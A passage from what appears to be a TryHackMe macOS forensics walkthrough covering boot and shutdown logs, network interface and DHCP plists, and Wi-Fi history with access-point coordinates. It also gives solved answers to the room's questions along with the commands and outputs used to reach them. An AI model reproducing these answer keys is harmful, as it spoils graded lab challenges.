Feb 12 22:04:19 Umairs-MacBook-Pro reboot[27104]: SHUTDOWN_TIME: 1739383459 133812
</code></pre>
<p>The timestamps of the above logs show the machine's last boot and shutdown times, which are in the machine's local time zone. We can also see an associated Epoch time, which can be converted to find the GMT.</p>
<p>Another place to find data about boot or shutdown times is in the Unified Logs. These logs also contain information about screen lock, unlock, and other login-related information. To view these logs, we can filter the subsystem in the Unified Logs with the term <strong>loginwindow</strong>, as seen in the screenshot below, taken from the DB Browser app.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/61306d87a330ed00419e22e7/room-content/61306d87a330ed00419e22e7-1741546534807.png" alt="Unified logs in the DB browser" style="display:block;margin:0 auto" />

<p>The screenshot shows filtered results for the login window, showing several events related to screen lock, Touch ID activation, and WakeFromSleep. Scrolling to the left will also give us timestamps for these events.</p>
<p>We can use the following filters to see similar results using the log command on a live system.</p>
<p>Shutdown Events Using the Log Command</p>
<pre><code class="language-shell-session">umair@Umairs-MacBook-Pro ~ % log show --info --predicate 'eventMessage contains "com.apple.system.loginwindow" and eventMessage contains "SessionAgentNotificationCenter"' 
Filtering the log data using "composedMessage CONTAINS "com.apple.system.loginwindow" AND composedMessage CONTAINS "SessionAgentNotificationCenter""
Skipping debug messages, pass --debug to include.
Timestamp                       Thread     Type        Activity             PID    TTL  
2025-03-09 16:55:35.489871+0400 0x112f     Default     0x0                  591    5    loginwindow: [com.apple.loginwindow.logging:Standard] -[SessionAgentNotificationCenter sendSystemBSDNotification:object:] | sendSystemBSDNotification: com.apple.system.loginwindow.shutdownInitiated, with object:503
2025-03-09 16:55:35.490273+0400 0x112f     Default     0x0                  591    5    loginwindow: [com.apple.loginwindow.logging:Standard] -[SessionAgentNotificationCenter sendSystemBSDNotification:object:] | sendSystemBSDNotification: com.apple.system.loginwindow.likelyShutdown, with object:503
2025-03-09 16:55:35.490427+0400 0x112f     Default     0x0                  591    5    loginwindow: [com.apple.loginwindow.logging:Standard] -[SessionAgentNotificationCenter sendSystemBSDNotification:object:] | sendSystemBSDNotification: com.apple.system.loginwindow.likelyUserSessionExit, with object:503
2025-03-09 16:55:49.533113+0400 0x112f     Default     0x0                  591    5    loginwindow: [com.apple.loginwindow.logging:Standard] -[SessionAgentNotificationCenter sendSystemBSDNotification:object:] | sendSystemBSDNotification: com.apple.system.loginwindow.logoutNoReturn, with object:503
2025-03-09 16:55:49.533371+0400 0x112f     Default     0x0                  591    5    loginwindow: [com.apple.loginwindow.logging:Standard] -[SessionAgentNotificationCenter sendSystemBSDNotification:object:] | sendSystemBSDNotification: com.apple.system.loginwindow.shutdownNoReturn, with object:0
2025-03-09 16:57:20.117203+0400 0xedd      Default     0x0                  398    5    loginwindow: [com.apple.loginwindow.logging:Standard] -[SessionAgentNotificationCenter sendSystemBSDNotification:object:] | sendSystemBSDNotification: com.apple.system.loginwindow.loginInitiated, with object:503
2025-03-09 16:57:22.012261+0400 0xedd      Default     0x0                  398    5    loginwindow: [com.apple.loginwindow.logging:Standard] -[SessionAgentNotificationCenter sendSystemBSDNotification:object:] | sendSystemBSDNotification: com.apple.system.loginwindow.desktopUp, with object:503
2025-03-09 16:57:32.173045+0400 0xedd      Default     0x0                  398    5    loginwindow: [com.apple.loginwindow.logging:Standard] -[SessionAgentNotificationCenter sendSystemBSDNotification:object:] | sendSystemBSDNotification: com.apple.system.loginwindow.shutdownInitiated, with object:503
2025-03-09 16:57:32.173227+0400 0xedd      Default     0x0                  398    5    loginwindow: [com.apple.loginwindow.logging:Standard] -[SessionAgentNotificationCenter sendSystemBSDNotification:object:] | sendSystemBSDNotification: com.apple.system.loginwindow.likelyShutdown, with object:503
2025-03-09 16:57:32.173344+0400 0xedd      Default     0x0                  398    5    loginwindow: [com.apple.loginwindow.logging:Standard] -[SessionAgentNotificationCenter sendSystemBSDNotification:object:] | sendSystemBSDNotification: com.apple.system.loginwindow.likelyUserSessionExit, with object:503
2025-03-09 16:57:42.051571+0400 0xedd      Default     0x0                  398    5    loginwindow: [com.apple.loginwindow.logging:Standard] -[SessionAgentNotificationCenter sendSystemBSDNotification:object:] | sendSystemBSDNotification: com.apple.system.loginwindow.logoutNoReturn, with object:503
2025-03-09 16:57:42.051821+0400 0xedd      Default     0x0                  398    5    loginwindow: [com.apple.loginwindow.logging:Standard] -[SessionAgentNotificationCenter sendSystemBSDNotification:object:] | sendSystemBSDNotification: com.apple.system.loginwindow.shutdownNoReturn, with object:0
2025-03-09 18:07:54.502899+0400 0xeb1      Default     0x0                  382    5    loginwindow: [com.apple.loginwindow.logging:Standard] -[SessionAgentNotificationCenter sendSystemBSDNotification:object:] | sendSystemBSDNotification: com.apple.system.loginwindow.loginInitiated, with object:503
2025-03-09 18:07:56.426160+0400 0xeb1      Default     0x0                  382    5    loginwindow: [com.apple.loginwindow.logging:Standard] -[SessionAgentNotificationCenter sendSystemBSDNotification:object:] | sendSystemBSDNotification: com.apple.system.loginwindow.desktopUp, with object:503
2025-03-09 18:08:16.026008+0400 0xef8      Default     0x0                  382    5    loginwindow: [com.apple.loginwindow.logging:Standard] -[SessionAgentNotificationCenter sendSystemBSDNotification:object:] | sendSystemBSDNotification: com.apple.system.loginwindow.delayedLoginItemsInitiated, with object:503
--------------------------------------------------------------------------------------------------------------------
Log      - Default:         15, Info:                0, Debug:             0, Error:          0, Fault:          0
Activity - Create:           0, Transition:          0, Actions:           0
</code></pre>
<p>Here, we can see different types of login and shutdown events in the logs and their timestamps.</p>
<h3>Answer the questions below</h3>
<p>When was the OS installed on the disk image present in the attached VM? Write your answer in the format: YYYY-MM-DD hh:mm:ss  <code>2024-12-08 17:42:28</code></p>
<pre><code class="language-python">python3 &lt;&lt; 'EOF'
import sqlite3
from datetime import datetime

conn = sqlite3.connect('/home/ubuntu/output_csv/APFS_Volumes_75799CC4-35C7-4CB5-AC2D-2DC335B7B3EF.db')
cursor = conn.cursor()

# Convert journal.plist timestamps
print("=== journal.plist timestamps ===")
created = 1737301400521058574
modified = 1737301400521108615

created_dt = datetime.utcfromtimestamp(created / 1000000000)
modified_dt = datetime.utcfromtimestamp(modified / 1000000000)

print(f"Created (UTC): {created_dt}")
print(f"Modified (UTC): {modified_dt}")

# Also convert .AppleSetupDone modified/changed
print("\n=== .AppleSetupDone timestamps ===")
created_setup = 1733678830646943873
modified_setup = 1733679748798425344

created_setup_dt = datetime.utcfromtimestamp(created_setup / 1000000000)
modified_setup_dt = datetime.utcfromtimestamp(modified_setup / 1000000000)

print(f"Created (Birth) (UTC): {created_setup_dt}")
print(f"Modified (UTC): {modified_setup_dt}")

conn.close()
EOF
</code></pre>
<pre><code class="language-python">=== journal.plist timestamps ===
&lt;stdin&gt;:12: DeprecationWarning: datetime.datetime.utcfromtimestamp() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.fromtimestamp(timestamp, datetime.UTC).
&lt;stdin&gt;:13: DeprecationWarning: datetime.datetime.utcfromtimestamp() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.fromtimestamp(timestamp, datetime.UTC).
Created (UTC): 2025-01-19 15:43:20.521059
Modified (UTC): 2025-01-19 15:43:20.521109

=== .AppleSetupDone timestamps ===
&lt;stdin&gt;:23: DeprecationWarning: datetime.datetime.utcfromtimestamp() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.fromtimestamp(timestamp, datetime.UTC).
&lt;stdin&gt;:24: DeprecationWarning: datetime.datetime.utcfromtimestamp() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.fromtimestamp(timestamp, datetime.UTC).
Created (Birth) (UTC): 2024-12-08 17:27:10.646944
Modified (UTC): 2024-12-08 17:42:28.798425
</code></pre>
<p>What is the country code for this machine? <code>AE</code></p>
<pre><code class="language-python">cat ~/output_csv/Basic_Info.csv
INFO_TYPE,Name,Data,Description,Source
SYSTEM,macOS Version,15.1.1,Sequoia,/System/Library/CoreServices/SystemVersion.plist
SYSTEM,macOS Build Version,24B91,Sequoia,/System/Library/CoreServices/SystemVersion.plist
HARDWARE,Mac Serial Number,ZDVVLVPV3F,Hardware Serial Number,/private/var/folders/zz/zyxvpxvq6csfxvn_n00000sm00006d/C/locationd/consolidated.db
HARDWARE,Model,"VirtualMac2,1",Mac Hardware Model,/Library/Preferences/SystemConfiguration/preferences.plist
SYSTEM,ComputerName,thm’s Virtual Machine,,/Library/Preferences/SystemConfiguration/preferences.plist
SYSTEM,LocalHostName,thms-Virtual-Machine,,/Library/Preferences/SystemConfiguration/preferences.plist
PREFERENCES,Country,AE,,/Library/Preferences/.GlobalPreferences.plist
PREFERENCES,AppleLocale,en_AE,,/Library/Preferences/.GlobalPreferences.plist
TIMEZONE,TimeZone Set,US/Pacific,Timezone on machine,/private/etc/localtime
USER-LOGIN,GuestEnabled,False,,/Library/Preferences/com.apple.loginwindow.plist
USER-LOGIN,lastUserName,thm,,/Library/Preferences/com.apple.loginwindow.plist
USER-LOGIN,AccountInfo.MaximumUsers,1,Maximum number of Fast User Switching (FUS) users at the same time,/Library/Preferences/com.apple.loginwindow.plist
USER-LOGIN,AccountInfo.FirstLogins,thm,Logged in user once,/Library/Preferences/com.apple.loginwindow.plist
USER-LOGIN,AccountInfo.OnConsole,thm,Logged in user once by Fast User Switching (FUS),/Library/Preferences/com.apple.loginwindow.plist
USER-LOGIN,UseVoiceOverLegacyMigrated,True,unknown,/Library/Preferences/com.apple.loginwindow.plist
USER-LOGIN,lastUser,Restart,Last user (Login) Action,/Library/Preferences/com.apple.loginwindow.plist
USER-LOGIN,RecentUsers,['thm'],unknown,/Library/Preferences/com.apple.loginwindow.plist
USER-LOGIN,lastLoginPanic,2025-01-19 15:52:43.598148,,/Library/Preferences/com.apple.loginwindow.plist
APFS,Information,,Data below represents a combined SYSTEM &amp; DATA volume,
APFS,Block Size (bytes),4096,Container Block size,
APFS,Container Size,19.51 GB,Container size (SYSTEM + DATA),
APFS,Volume Name,"Macintosh HD,Data","Volume names (SYSTEM, DATA)",
APFS,Volume UUID,"3B2E79F0-E4D4-4017-8443-597659F89844,84E5F2BD-503F-4E3A-8105-EEBEBC1925B4","Volume Unique Identifiers (SYSTEM, DATA)",
APFS,Size Used,11.97 GB,Space allocated  (SYSTEM + DATA),
APFS,Total Files,257456,Total number of files (SYSTEM + DATA),
APFS,Total Folders,164194,Total number of directories/folders (SYSTEM + DATA),
APFS,Total Symlinks,24049,Total number of symbolic links (SYSTEM + DATA),
APFS,Total Snapshots,0,Total number of snapshots (DATA),
APFS,Created Time,2024-12-08 17:23:31.355434,Created date and time (DATA),
APFS,Updated Time,2025-01-20 08:37:49.667839,Last updated date and time (DATA),
</code></pre>
<p>When was the last time this machine booted up? Write your answer as GMT in the format: YYYY-MM-DD hh:mm:ss <code>2025-01-19 15:47:05</code></p>
<h2>Network Information</h2>
<p>We can verify other configurations once we have confirmed that we are analysing the correct machine. In this task, let's review the artefacts that help us identify a machine's network configuration.</p>
<h2><strong>Network Interfaces</strong></h2>
<p>The information about network interfaces is in the <code>/Library/Preferences/SystemConfiguration/NetworkInterfaces.plist</code> file.</p>
<p>Network Interfaces</p>
<pre><code class="language-shell-session">umair@Umairs-MacBook-Pro ~ % cat /Library/Preferences/SystemConfiguration/NetworkInterfaces.plist
&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"&gt;
&lt;plist version="1.0"&gt;
&lt;dict&gt;
	&lt;key&gt;Interfaces&lt;/key&gt;
	&lt;array&gt;
		&lt;dict&gt;
			&lt;key&gt;Active&lt;/key&gt;
			&lt;true/&gt;
			&lt;key&gt;BSD Name&lt;/key&gt;
			&lt;string&gt;en0&lt;/string&gt;
			&lt;key&gt;IOBuiltin&lt;/key&gt;
			&lt;true/&gt;
			&lt;key&gt;IOInterfaceNamePrefix&lt;/key&gt;
			&lt;string&gt;en&lt;/string&gt;
			&lt;key&gt;IOInterfaceType&lt;/key&gt;
			&lt;integer&gt;6&lt;/integer&gt;
			&lt;key&gt;IOInterfaceUnit&lt;/key&gt;
			&lt;integer&gt;0&lt;/integer&gt;
			&lt;key&gt;IOMACAddress&lt;/key&gt;
			&lt;data&gt;
			gKmXJAg/
			&lt;/data&gt;
			&lt;key&gt;IOPathMatch&lt;/key&gt;
			&lt;string&gt;IOService:/AppleARMPE/arm-io@10F00000/AppleH15IO/apcie@80000000/AppleT6030PCIe/pci-bridge0@0/IOPP/wlan@0/AppleBCMWLANBusInterfacePCIe/AppleBCMWLANCore/AppleBCMWLANSkywalkInterface/IOSkywalkLegacyEthernet/en0&lt;/string&gt;
			&lt;key&gt;SCNetworkInterfaceInfo&lt;/key&gt;
			&lt;dict&gt;
				&lt;key&gt;UserDefinedName&lt;/key&gt;
				&lt;string&gt;Wi-Fi&lt;/string&gt;
			&lt;/dict&gt;
			&lt;key&gt;SCNetworkInterfaceType&lt;/key&gt;
			&lt;string&gt;IEEE80211&lt;/string&gt;
		&lt;/dict&gt;
		&lt;dict&gt;
			&lt;key&gt;Active&lt;/key&gt;
			&lt;true/&gt;
			&lt;key&gt;BSD Name&lt;/key&gt;
			&lt;string&gt;en1&lt;/string&gt;
			&lt;key&gt;IOBuiltin&lt;/key&gt;
			&lt;true/&gt;
			&lt;key&gt;IOInterfaceNamePrefix&lt;/key&gt;
			&lt;string&gt;en&lt;/string&gt;
			&lt;key&gt;IOInterfaceType&lt;/key&gt;
			&lt;integer&gt;6&lt;/integer&gt;
			&lt;key&gt;IOInterfaceUnit&lt;/key&gt;
			&lt;integer&gt;1&lt;/integer&gt;
			&lt;key&gt;IOMACAddress&lt;/key&gt;
			&lt;data&gt;
			NvDA4lvA
			&lt;/data&gt;
			&lt;key&gt;IOPathMatch&lt;/key&gt;
			&lt;string&gt;IOService:/AppleARMPE/arm-io@10F00000/AppleH15IO/acio0@1F00000/AppleThunderboltHALType5/AppleThunderboltNHIType5/IOThunderboltControllerType5/IOThunderboltLocalNode/AppleThunderboltIPService/AppleThunderboltIPPort/en1&lt;/string&gt;
			&lt;key&gt;SCNetworkInterfaceInfo&lt;/key&gt;
			&lt;dict&gt;
				&lt;key&gt;UserDefinedName&lt;/key&gt;
				&lt;string&gt;Thunderbolt 1&lt;/string&gt;
			&lt;/dict&gt;
			&lt;key&gt;SCNetworkInterfaceType&lt;/key&gt;
			&lt;string&gt;Ethernet&lt;/string&gt;
		&lt;/dict&gt;
</code></pre>
<p>The <code>&lt;dict&gt;</code> tag encloses each interface type. Here, we can see two interfaces, one with the name Wi-Fi and the other with the name Thunderbolt 1. The first is a wireless interface, as seen in the <code>SCNetworkInterfaceType</code> key, and the second is a wired network, as the <code>SCNetworkInterfaceType</code> is Ethernet for it.</p>
<h2><strong>DHCP Settings</strong></h2>
<p>We can find the DHCP settings of a machine in the <code>/private/var/db/dhcpclient/leases/en0.plist</code> file. Here, <code>en0</code> is the interface name for which we want to extract the settings.</p>
<p>DHCP Settings</p>
<pre><code class="language-shell-session">umair@Umairs-MacBook-Pro ~ % sudo cat /private/var/db/dhcpclient/leases/en0.plist
&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"&gt;
&lt;plist version="1.0"&gt;
&lt;dict&gt;
	&lt;key&gt;ClientIdentifier&lt;/key&gt;
	&lt;data&gt;
	AbYL5Nb9rQ==
	&lt;/data&gt;
	&lt;key&gt;IPAddress&lt;/key&gt;
	&lt;string&gt;192.168.1.79&lt;/string&gt;
	&lt;key&gt;LeaseLength&lt;/key&gt;
	&lt;integer&gt;86400&lt;/integer&gt;
	&lt;key&gt;LeaseStartDate&lt;/key&gt;
	&lt;date&gt;2025-02-22T08:59:54Z&lt;/date&gt;
	&lt;key&gt;NetworkID&lt;/key&gt;
	&lt;string&gt;D6DEF8F1-3BD5-41B7-B5E6-9A4E8AC3B76F&lt;/string&gt;
	&lt;key&gt;PacketData&lt;/key&gt;
	&lt;data&gt;
	AgEGAL+fi78AAAAAAAAAAMCoAU/AqAEBAAAAALYL5Nb9rQAAAAAAAAAAAAAAAAAAAAAA
	AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
	AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
	AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
	AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEFNgTAqAEBMwQAAVGA
	AQT///8AAwTAqAEBBgTAqAEBDxBldGlzYWxhdC1nYXRld2F5fTUAAA3pMAQGNTA3RTVE
	BQtKMjIwNjAyNjk2MgYZRVRJU0FMQVQtV1JWOTUxOEJIQVgzNC1FVP8=
	&lt;/data&gt;
	&lt;key&gt;RouterHardwareAddress&lt;/key&gt;
	&lt;data&gt;
	qKI3Tf/l
	&lt;/data&gt;
	&lt;key&gt;RouterIPAddress&lt;/key&gt;
	&lt;string&gt;192.168.1.1&lt;/string&gt;
	&lt;key&gt;SSID&lt;/key&gt;
	&lt;string&gt;402-5G&lt;/string&gt;
&lt;/dict&gt;
&lt;/plist&gt;
</code></pre>
<p>This output shows details of the DHCP settings for the <code>en0</code> interface, which was the Wi-Fi interface. We can see important information such as assigned IP address, lease length, assigned date, router IP address, and network SSID. Similarly, we can identify the details of each interface.</p>
<h2><strong>Wireless Connections</strong></h2>
<p>A lot of information about user activity can be revealed if we look at their historical wireless connections. We can check the <code>/Library/Preferences/com.apple.wifi.known-networks.plist</code> file to check the wireless connection history of a machine. We will get an output similar to the below terminal window:</p>
<p>Wireless Connections</p>
<pre><code class="language-shell-session">umair@Umairs-MacBook-Pro ~ %  sudo plutil -p /Library/Preferences/com.apple.wifi.known-networks.plist 
{
  "wifi.network.ssid.2 Floor 1" =&gt; {
    "__OSSpecific__" =&gt; {
      "ChannelHistory" =&gt; [
      ]
      "CollocatedGroup" =&gt; [
      ]
      "RoamingProfileType" =&gt; "None"
      "TemporarilyDisabled" =&gt; 0
    }
    "AddedAt" =&gt; 2024-03-20 21:31:02 +0000
    "AddReason" =&gt; "Cloud Sync"
    "CaptiveProfile" =&gt; {
      "CaptiveNetwork" =&gt; 0
    }
    "Hidden" =&gt; 0
    "JoinedBySystemAtWeek" =&gt; 1211
    "JoinedByUserAt" =&gt; 2024-03-20 21:31:02 +0000
    "Moving" =&gt; 0
    "PrivateMACAddressEvaluationState" =&gt; 1
    "SSID" =&gt; {length = 9, bytes = 0x3220466c6f6f722031}
    "SupportedSecurityTypes" =&gt; "WPA/WPA2 Personal"
    "SystemMode" =&gt; 1
    "UpdatedAt" =&gt; 2024-10-04 06:36:19 +0000
  }
  "wifi.network.ssid.Accor" =&gt; {
    "__OSSpecific__" =&gt; {
      "ChannelHistory" =&gt; [
        0 =&gt; {
          "Channel" =&gt; 6
          "Timestamp" =&gt; 2024-04-29 04:56:57 +0000
        }
        1 =&gt; {
          "Channel" =&gt; 1
          "Timestamp" =&gt; 2024-04-30 04:50:05 +0000
        }
        2 =&gt; {
          "Channel" =&gt; 11
          "Timestamp" =&gt; 2024-04-30 05:59:25 +0000
        }
      ]
      "CollocatedGroup" =&gt; [
        0 =&gt; "wifi.ssid.556d616972e2809973206950686f6e65"
        1 =&gt; "wifi.ssid.464c4f4f5220342d31"
        2 =&gt; "wifi.ssid.4143434f52"
        3 =&gt; "wifi.ssid.4f6e65506c75732031302050726f"
        4 =&gt; "wifi.ssid.343032"
        5 =&gt; "wifi.ssid.50485f4755455354"
        6 =&gt; "wifi.ssid.496e646578"
        7 =&gt; "wifi.ssid.4d4153544552"
        8 =&gt; "wifi.ssid.3430322d3547"
      ]
      "RoamingProfileType" =&gt; "Multi"
      "TemporarilyDisabled" =&gt; 0
    }
    "AddedAt" =&gt; 2024-04-20 15:03:43 +0000
    "AddReason" =&gt; "WiFi Menu"
    "BSSList" =&gt; [
      0 =&gt; {
        "BSSID" =&gt; "d8:9d:67:91:aa:60"
        "Channel" =&gt; 1
        "ChannelFlags" =&gt; 10
        "DHCPServerID" =&gt; {length = 4, bytes = 0x0a100001}
        "IPv4NetworkSignature" =&gt; "IPv4.Router=10.16.0.1;IPv4.RouterHardwareAddress=02:ad:34:e3:90:0c"
        "LastAssociatedAt" =&gt; 2024-04-30 02:06:23 +0000
        "Location" =&gt; {
          "LocationAccuracy" =&gt; 151.1677743535733
          "LocationLatitude" =&gt; 24.39545439999999
          "LocationLongitude" =&gt; 54.51604842999998
          "LocationTimestamp" =&gt; 2024-04-26 03:01:59 +0000
        }
      }
      1 =&gt; {
        "BSSID" =&gt; "c8:cb:b8:9f:c3:10"
        "Channel" =&gt; 1
        "ChannelFlags" =&gt; 10
        "DHCPServerID" =&gt; {length = 4, bytes = 0x0a100001}
        "IPv4NetworkSignature" =&gt; "IPv4.Router=10.16.0.1;IPv4.RouterHardwareAddress=02:ad:34:e3:90:0c"
        "LastAssociatedAt" =&gt; 2024-04-30 04:50:05 +0000
        "Location" =&gt; {
          "LocationAccuracy" =&gt; 101
          "LocationLatitude" =&gt; 24.39516489824783
          "LocationLongitude" =&gt; 54.51665309854874
          "LocationTimestamp" =&gt; 2024-04-30 02:56:26 +0000
        }
      }
      2 =&gt; {
        "BSSID" =&gt; "b4:99:ba:91:60:30"
        "Channel" =&gt; 1
        "ChannelFlags" =&gt; 10
        "DHCPServerID" =&gt; {length = 4, bytes = 0x0a100001}
        "IPv4NetworkSignature" =&gt; "IPv4.Router=10.16.0.1;IPv4.RouterHardwareAddress=02:ad:34:e3:90:0c"
        "LastAssociatedAt" =&gt; 2024-04-30 04:50:05 +0000
        "Location" =&gt; {
          "LocationAccuracy" =&gt; 101
          "LocationLatitude" =&gt; 24.39517312192141
          "LocationLongitude" =&gt; 54.51663624712052
          "LocationTimestamp" =&gt; 2024-04-30 03:49:29 +0000
        }
      }
      3 =&gt; {
        "BSSID" =&gt; "3c:d9:2b:81:32:e0"
        "Channel" =&gt; 11
        "ChannelFlags" =&gt; 10
        "DHCPServerID" =&gt; {length = 4, bytes = 0x0a100001}
        "IPv4NetworkSignature" =&gt; "IPv4.Router=10.16.0.1;IPv4.RouterHardwareAddress=02:ad:34:e3:90:0c"
        "LastAssociatedAt" =&gt; 2024-04-30 05:59:25 +0000
      }
    ]
    "CaptiveProfile" =&gt; {
      "CaptiveNetwork" =&gt; 1
      "CaptiveWebSheetLoginDate" =&gt; 2024-04-24 02:30:50 +0000
    }
    "Hidden" =&gt; 0
    "JoinedBySystemAt" =&gt; 2024-04-30 05:59:25 +0000
    "JoinedByUserAt" =&gt; 2024-04-29 14:53:04 +0000
    "LastDiscoveredAt" =&gt; 2024-04-30 04:50:05 +0000
    "PrivateMACAddressEvaluationState" =&gt; 1
    "SSID" =&gt; {length = 5, bytes = 0x4163636f72}
    "SupportedSecurityTypes" =&gt; "Open"
    "SystemMode" =&gt; 1
    "UpdatedAt" =&gt; 2025-02-18 11:49:10 +0000
    "UserPreferredNetworkNames" =&gt; {
      "Umair’s iPhone" =&gt; 2024-04-29 14:25:37 +0000
    }
  }
}
</code></pre>
<p>We have shortened the above output to only two types of historical connections for brevity. Each result is enclosed in curly brackets starting with <code>wifi.network.ssid.&lt;name&gt;</code>. If the machine we investigate is portable and the user moves around frequently, we might find many connections here. For now, let's dive into these results.</p>
<p>The first result we see here is <strong>2 Floor 1</strong>. We can see information such as the date this connection was joined, the security type of the network, the last connection date, and whether the connection is a captive network (a network that asks you to log in after connecting, such as the ones found in hotels or airports).</p>
<p>The second result we see here has a lot more juicy information. This is a captive network, and the login date for the captive sheet can be found in the results. This network has multiple access points, indicating that this is a network inside a large building where one access point might not be enough to provide complete coverage. Each access point is logged separately; interestingly, we can also find the access point coordinates. Correlating this information with the dates of connection, we can identify if the machine was in a particular location at a specific time.</p>
<p>The disk image in the attached VM does not contain this artefact as that was a VM without a wireless LAN interface.</p>
<h2><strong>Network Usage</strong></h2>
<p>The unified logs can provide information about which network connections were previously connected. In a live system, we can search for logs where the <strong>senderImagePath</strong> contains <strong>IPConfiguration</strong> and the <strong>eventMessage</strong> contains <strong>SSID</strong>, <strong>Lease</strong>, or <strong>network changed</strong>.</p>
<p>Network Usage</p>
<pre><code class="language-shell-session">umair@Umairs-MacBook-Pro ~ % log show --info --predicate 'senderImagePath contains "IPConfiguration" and (eventMessage contains "SSID" or eventMessage contains "Lease" or eventMessage contains "network changed")'                                                                                                                            
Filtering the log data using "senderImagePath CONTAINS "IPConfiguration" AND (composedMessage CONTAINS "SSID" OR composedMessage CONTAINS "Lease" OR composedMessage CONTAINS "network changed")"
Skipping debug messages, pass --debug to include.
Timestamp                       Thread     Type        Activity             PID    TTL  
2025-03-08 22:19:33.092287+0400 0x102164d  Default     0x0                  530    0    configd: (IPConfiguration) [com.apple.IPConfiguration:Server] en0: SSID 402-5G BSSID
         NetworkID 6262A8C5-88A4-4237-8EF7-4C490E59AD0D Security FT_PSK
2025-03-08 22:19:33.113262+0400 0x102164d  Default     0x0                  530    0    configd: (IPConfiguration) [com.apple.IPConfiguration:Server] en0: SSID 402-5G BSSID
           NetworkID 6262A8C5-88A4-4237-8EF7-4C490E59AD0D Security FT_PSK
.
.
.
</code></pre>
<p>If we are not on a live system, we can convert the output of the unified logs into CSV using Unified Log Parser and then search for the keywords like <strong>IPConfiguration</strong>, <strong>SSID</strong>, or <strong>network changed</strong> in the resulting CSV file. We can use the following command to convert the Unified logs to CSV, where system_logs.archive is the directory which contains the logs.</p>
<p><code>./unifiedlog_parser -i system_logs.logarchive -o logs/output1.csv</code></p>
<p>Please note that we need a directory named logs for this command to work. The Unified Log Parser utility is primarily compiled for macOS, so it will not work on our Linux machine.</p>
<h3>Answer the questions below</h3>
<p>What is the name of the machine's built-in network interface? <code>en0</code></p>
<p>What is the IP address of the router this machine was last connected to? <code>192.168.64.1</code></p>
<pre><code class="language-shell">python3 mac_apt.py DMG ~/mac-disk.img NETWORKING -o ~/output_network -c
Output path was : /home/ubuntu/output_network
MAIN-INFO-Started macOS Artifact Parsing Tool, version 1.12.0.dev (20250110)
MAIN-INFO-Dates and times are in UTC unless the specific artifact being parsed saves it as local time!
MAIN-INFO-Python version = 3.12.3 (main, Feb  4 2025, 14:48:35) [GCC 13.3.0]
MAIN-INFO-Pytsk  version = 20221228
MAIN-INFO-Pyewf  version = 20240506
MAIN-INFO-Pyvmdk version = 20240510
MAIN-INFO-PyAFF4 version = 0.31
MAIN-INFO-Plugins to run: NETWORKING
MAIN-INFO-Plugins not to run: 
MAIN-INFO-Opened image /home/ubuntu/mac-disk.img
MAIN-INFO-Looking at FS with volume label 'iBootSystemContainer'  @ offset 20480
MAIN-INFO-Looking at FS with volume label 'Container'  @ offset 524308480
MAIN-INFO-Found an APFS container with uuid: 75799CC4-35C7-4CB5-AC2D-2DC335B7B3EF
MAIN.HELPERS.APFS_READER-INFO-Found newer xid=2727 @ block num 78
MAIN.HELPERS.APFS_READER-INFO-Using new XID now..
MAIN-INFO-Reading APFS volumes from container, this may take a few minutes ...
MAIN.HELPERS.APFS_READER-INFO-Vol_2_Preboot Type=inode  Count=138
MAIN.HELPERS.APFS_READER-INFO-Vol_2_Preboot Type=xattr  Count=16
MAIN.HELPERS.APFS_READER-INFO-Vol_2_Preboot Type=dstream_id  Count=66
MAIN.HELPERS.APFS_READER-INFO-Vol_2_Preboot Type=file_extent  Count=80
MAIN.HELPERS.APFS_READER-INFO-Vol_2_Preboot Type=dir_rec  Count=138
MAIN.HELPERS.APFS_READER-INFO-Vol_1_Macintosh_HD Type=inode  Count=408312
MAIN.HELPERS.APFS_READER-INFO-Vol_1_Macintosh_HD Type=xattr  Count=239676
MAIN.HELPERS.APFS_READER-INFO-Vol_1_Macintosh_HD Type=sibling_link  Count=28669
MAIN.HELPERS.APFS_READER-INFO-Vol_1_Macintosh_HD Type=dstream_id  Count=116240
MAIN.HELPERS.APFS_READER-INFO-Vol_1_Macintosh_HD Type=dir_rec  Count=428646
MAIN.HELPERS.APFS_READER-INFO-Vol_1_Macintosh_HD Type=sibling_map  Count=28669
MAIN.HELPERS.APFS_READER-INFO-Vol_1_Macintosh_HD Type=file_info  Count=1160565
MAIN.HELPERS.APFS_READER-INFO-Vol_1_Macintosh_HD Type=sealed_extent  Count=276804
MAIN.HELPERS.APFS_READER-INFO-Vol_3_Recovery Type=inode  Count=27
MAIN.HELPERS.APFS_READER-INFO-Vol_3_Recovery Type=xattr  Count=3
MAIN.HELPERS.APFS_READER-INFO-Vol_3_Recovery Type=dstream_id  Count=8
MAIN.HELPERS.APFS_READER-INFO-Vol_3_Recovery Type=file_extent  Count=14
MAIN.HELPERS.APFS_READER-INFO-Vol_3_Recovery Type=dir_rec  Count=27
MAIN.HELPERS.APFS_READER-INFO-Vol_4_Update Type=inode  Count=19
MAIN.HELPERS.APFS_READER-INFO-Vol_4_Update Type=dstream_id  Count=4
MAIN.HELPERS.APFS_READER-INFO-Vol_4_Update Type=file_extent  Count=12
MAIN.HELPERS.APFS_READER-INFO-Vol_4_Update Type=dir_rec  Count=19
MAIN.HELPERS.APFS_READER-INFO-Vol_5_Data Type=inode  Count=37439
MAIN.HELPERS.APFS_READER-INFO-Vol_5_Data Type=xattr  Count=28216
MAIN.HELPERS.APFS_READER-INFO-Vol_5_Data Type=sibling_link  Count=72
